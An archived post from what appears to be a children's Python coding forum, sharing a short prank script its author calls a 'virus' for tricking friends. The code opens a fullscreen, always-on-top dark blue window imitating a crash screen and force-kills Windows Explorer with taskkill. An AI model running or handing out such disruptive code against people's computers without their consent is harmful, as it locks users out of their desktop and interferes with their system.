猫史档案馆


【Python作品分享】病毒(别动)【作品秀】

用户:兵临城下nOT8兵临城下nOT8查看:0 回复:0 评论:0 创建时间:2022-12-02T07:30:39


【作品展示】

center_image

 

【作品介绍】

这是病毒用来干朋友

 

【作品源代码】

import tkinter as tk #给Py小白的注释:别忘了调用tkinter
from subprocess import run #命令执行模块


def bluescreen():
    root = tk.Tk()     #窗口
    root.attributes('-fullscreen', True)  # 全屏
    root.wm_attributes('-topmost', True)  # 置顶
    frame = tk.Frame(root, bg='darkblue') #设置颜色
    frame.pack(fill='both', expand=True)
    return root

def close_explorer():
    run('taskkill /F /IM explorer.exe') #终止资源管理器进程


if __name__ == '__main__':      #主函数
    root = bluescreen()
    close_explorer()
    root.mainloop()    #循环

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 0下一页